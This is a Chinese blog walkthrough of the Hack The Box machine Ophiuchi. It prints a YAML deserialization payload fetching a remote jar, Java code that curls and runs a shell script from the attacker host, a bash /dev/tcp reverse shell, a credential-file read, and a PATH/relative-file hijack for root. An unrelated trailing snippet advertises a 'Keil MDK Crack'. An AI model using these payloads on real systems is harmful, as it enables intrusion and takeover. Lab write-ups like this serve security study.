【Hack The Box】linux练习-- Ophiuchi

news2024/11/28 20:47:45

HTB 学习笔记

【Hack The Box】linux练习-- Ophiuchi


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月27日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 8080
        • 目录爆破
    • java-yaml反序列化
    • 获取shell
    • tomcat ->admin
    • admin->root
    • wasm
    • 修改

在这里插入图片描述

信息收集

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

8080

Parse YAML
在这里插入图片描述死页面,啥都干不了,输入一个东西他说网站已经关闭

目录爆破

目录爆破命令就不写了

得到
/test (Status: 302)
/manager (Status: 302)

manager页面要求登陆

在这里插入图片描述
YAML 解析器在安全处理数据序列化数据方面出了名的糟糕。它会尝试将 YAML 解析为对象,这就是反序列化。

尽管该网站说它已关闭,但尚不清楚它是在尝试反序列化用户输入之前还是之后显示的。 我将尝试使用 YAML 反序列化负载进行检查。 由于服务器是 Tomcat,我将寻找基于 Java 的有效载荷。

java-yaml反序列化

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.7/"]
  ]]
]

本地开启的python 服务器回收到信号
说明反序列化成功
关于yaml反序列化的利用,利用

https://github.com/artsploit/yaml-payload
https://github.com/mbechler/marshalsec

修改payload,而后修改payload让他请求我们的恶意jar包

操作

  1. 下载
    proxychains4 -f /etc/proxychains4.conf git clone https://github.com/artsploit/yaml-payload.git
    得到src
  2. 修改AwesomeScriptEngineFactory.java
    在这里插入图片描述
  3. 编译
javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java 
jar -cvf ping.jar -C src/ .  //打包

得到了一个ping.jar
在这里插入图片描述
4. 开一个python服务器以及一个icmp监听

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.29/ping.jar"]
  ]]
]

请求这个ping包
我们发现本地的icmp收到了ping
所以我们的道路通畅
接下来修改命令来执行命令
在这里插入图片描述
那么这是确定存在rce,在java中,实现rce的手段我们通常选择如下利用.sh脚本的方法

获取shell

  1. 写一个脚本
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.196/4242 0>&1
  1. 修改java文件
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("curl http://10.10.14.29/shell.sh -o /tmp/shell.sh");
            Runtime.getRuntime().exec("chmod +x /tmp/shell.sh");
            Runtime.getRuntime().exec("bash /tmp/shell.sh");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

重新编译打包运行

javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf shell.jar -C src/ .

在这里插入图片描述

tomcat ->admin

作为tomcat用户,当前主目录是 /opt/tomcat:
/opt/tomcat/conf/tomcat-users.xml具有 Tomcat 的用户名和密码:

找到密码
whythereisalimit

su admin

密码重用成功

在这里插入图片描述

admin->root

在这里插入图片描述
没有go的二进制提权
看一下那个index.go文件是个什么情况

package main
import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)
func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

他会导入几个模块,然后定义一个函数,读取main.wasm,然后放到一个新的实例,然后返回的如果不是1,就输出Not ready to deploy",如果是1,就/bin/sh", "deploy.sh,执行这个脚本

我直接执行,没用

sudo /usr/bin/go run /opt/wasm-functions/index.go

并且会报错,那我先找到main.wasm,然后执行一下看看

find / -name "main.wasm" 2>/dev/null

在这里插入图片描述
两个目录都是第一种情况
在这里插入图片描述那么接下来就是要想办法让返回值是1

wasm

WASM 或 Web Assembly 是一种二进制指令格式,用于设计用于跨平台运行的基于堆栈的虚拟机。 WASM 的主要目的是在网页上拥有快速和高性能的应用程序,但它也可以在其他环境中运行。

proxychains4 -f /etc/proxychains4.conf git clone --recursive https://github.com/WebAssembly/wabt
cd wabt/
apt install cmake
make
wasm-decompile main.wasm 
到这里就可以生成一个main.wasm 

将转换 main.wasm转换成 WebAssembly 文本格式(从二进制格式):

在这里插入图片描述
因为 Go 程序对main.wasm 的调用不使用绝对路径,所以我可以控制两者 main.wasm和 deploy.sh. 我会写一个 main.wasm返回 1 和一个 deploy.sh

修改

把返回值改成1,在wat中他是const后的参数
将main.wasm 转换为main.wat以便修改

wasm2wat main.wasm -o main.wat

在这里插入图片描述
修改完再变回来

wat2wasm main.wat -o main.wasm

这个脚本就很普通了,正常的一个赋权脚本

deploy.sh

#!/bin/bash

chmod +x /bin/bash

传输到靶机/tmp目录

然后给当前目录临时写进环境变量

export PATH=/tmp:$PATH

在这里插入图片描述脚本失效?nonono,我忘记赋权了
chmod +x

在这里插入图片描述截图是我尝试写入ssh密钥
用上面的脚本直接/bin/bash -p 即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/41723.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MySQL的执行计划explain

select_type:表示的查询类型 SIMPLE:表示查询语句不包含子查询和union;PRIMARY:表示此查询是最外层的查询;UNION: 表示此查询是UNION的第二个或后续的查询;DEPENDENT UNION:表示此查询是UNION的第二个或后续…

ARM Developer Keil MDK 5.X Crack

ARM Developer Keil MDK是面向各种STM32微控制器产品的全面软件开发解决方案,提供创建、编译和调试嵌入式应用程序时所需的一切资源。MDK包括真正的Arm编译器和易于使用的Keil uVision IDE/调试器,可与STM32CubeMX和软件包连接。MDK还提供各种专业的中间…

Faster R-CNN详解

Faster R-CNN Faster R-CNN是作者Ross Girshick继Fast R-CNN后的又一力作。使用VGG16作为网络的backbone,推理速度在GPU上达到5fps(包括候选区域的生成),准确率也有进一步的提升。在2015年的ILSVRC以及COCO竞赛中获得多个项目的第一名。 Faster R-CNN算…

Easyrecovery2022硬盘磁盘U盘免费数据恢复软件

EasyRcovery的软件支持因各种原因损坏或误删的文件,文档,照片,视频,音频,电子邮件等等类型的数据它都可以恢复。同时,这款软件不仅仅支持u盘的数据恢复,移动硬盘,磁盘,sd…

【POJ No. 3067】 公路交叉数 Japan

【POJ No. 3067】 公路交叉数 Japan 北大 OJ 题目地址 【题意】 东海岸有N 个城市,西海岸有M 个城市(N ≤1000,M ≤1000),将建成K 条高速公路。每个海岸的城市从北到南编号为1, 2, ……每条高速公路都是直线&#xf…

计算机网络---TCP流量控制和拥塞控制

(一) TCP 流量控制 TCP提供流量控制服务来消除发送方(发送速率太快)使接收方缓存区溢出的可能性,因此 流量控制是一个速度匹配服务(让发送方慢一点,要让接收方来得及接收,实现匹配发…

Qt编写物联网管理平台(支持win/linux/mac/嵌入式linux/modbus等)

一、前言 这个物联网综合管理平台前后迭代了五年,一点一滴慢慢积累起来,从最开始的只有modbus串口协议解析以及简单的表格显示数据,慢慢的逐渐增加了tcp_rtu支持,用户管理模块,地图监控模块,而后为了拓展性…

消息队列 RabbitMQ入门:Linux(Docker)中安装和卸载RabbitMQ服务

文章目录前言一、Linux中安装RabbitMQ下载Erlang下载RabbitMQ进入Linux进行安装启动RabbitMQ二、RabbitMQ Web管理页面安装RabbitMQ Web管理页面访问管理页面三、使用Docker安装RabbitMQ安装Docker安装启动RabbitMQ访问管理页面四、Linux卸载RabbitMQ相关卸载RabbitMQ卸载Erlan…

第41讲:MySQL内置的QL性能分析工具

文章目录1.SQL性能分析的概念2.分析数据库中SQL的执行频率3.数据库中的慢查询日志3.1.开启慢查询日志功能3.2.模拟慢SQL查询观察日志内容4.Profile查看SQL每个阶段的耗时4.1.开启Profile操作4.2.随便执行一些查询语句4.3.查询执行SQL的耗时4.4.查询某一条SQL每个阶段的耗时4.5.…

【ASM】字节码操作 工具类与常用类 InstructionAdapter 介绍

文章目录 1.概述1.1 为什么会有 InstructionAdapter类?2. InstructionAdapter2.1 class info2.2 fields2.3 构造方法2.4 methods3.示例3.1预期目标4.总结1.概述 在上一节:【ASM】字节码操作 工具类与常用类 AnalyzerAdapter 工作原理 我们学习了AnalyzerAdapter类的工作原理…

【OpenCV 例程 300篇】246. 特征检测之ORB算法

『youcans 的 OpenCV 例程300篇 - 总目录』 【youcans 的 OpenCV 例程 300篇】246. 特征检测之ORB算法 特征检测与匹配是计算机视觉的基本任务,包括检测、描述和匹配三个相互关联的步骤。广泛应用于目标检测、图像检索、视频跟踪和三维重建等诸多领域。 6.9.1 ORB 算…

【Hack The Box】linux练习-- SneakyMailer

HTB 学习笔记 【Hack The Box】linux练习-- SneakyMailer 🔥系列专栏:Hack The Box 🎉欢迎关注🔎点赞👍收藏⭐️留言📝 📆首发时间:🌴2022年11月23日🌴 &…

函数调用在嵌入式架构设计中的应用

函数调用很好理解,即使刚学没多久的朋友也知道函数调用是怎么实现的,即调用一个已经封装好的函数,实现某个特定的功能。 把一个或者多个功能通过函数的方式封装起来,对外只提供一个简单的函数接口,然后在其他地方调用即…

SpringCloud - Config分布式配置中心

文章目录一.概述1. 分布式系统面临的配置问题2. 什么是配置中心3. 配置中心怎么用4. 配置中心能做什么二.Config服务端配置与测试1. 搭建1.1 在github上创建一个springcloud_config的新仓库1.2 获得新仓库的地址:1.3 本地硬盘目录上新建git仓库并clone1.4 创建文件1…

设置一个不能被继承的类

小屋杂谈,记录日常 方法1: 如果想让这个类不能被继承,可以把这个类的构造函数设置成私有,这样子类去继承他构造就会报错,这样的话这个类就是不能被继承的,如果需要用这个类的对象的话,在基类里…

机器学习中的交叉熵

文章目录一、背景二、概率论基础知识三、熵≈信息熵(应用领域不同)、相对熵KL散度、交叉熵、softmax、sigmoid、交叉熵损失图像分割如何理解CrossEntropyLoss()参考资料一、背景 学习机器学习过程中,总是会遇到交叉熵这个名词。通过交叉熵损…

SpringBoot整合knife4j

1.1 Swagger 前后端分离开发:前端和后端分开进行开发,2个项目,一个是前端项目,一个是后端项目 目前基本上很多小项目都是前后端分离,除了后台管理系统 前后端分离开发,前端(app、小程序、智能硬件等)怎么…

栈(C语言实现)

文章目录:1.栈的概念2.栈的结构3.接口实现3.1初始化栈3.2判断栈是否为空3.3压栈(入栈)3.4出栈3.5查看栈顶元素3.6统计栈内元素个数3.7销毁栈1.栈的概念 栈:一种特殊的线性表,其只允许在固定的一端进行插入和删除元素操…

Credly 数字证书

Credly 数字证书 Credly 简介 通过 Credly 颁发的徽章是对学习成果、经验或能力的数字表述。Credly 数字证书包括常见的组织徽章,如:AWS, Adobe, Autodesk, Certiport, Microsoft, CISCO, IBM 等等,以一种简单和安全的方式在线分享和验证&a…

基于改进人工蜂群算法的K均值聚类算法(Matlab代码实现)

🍒🍒🍒欢迎关注🌈🌈🌈 📝个人主页:我爱Matlab 👍点赞➕评论➕收藏 养成习惯(一键三连)🌻🌻🌻 🍌希…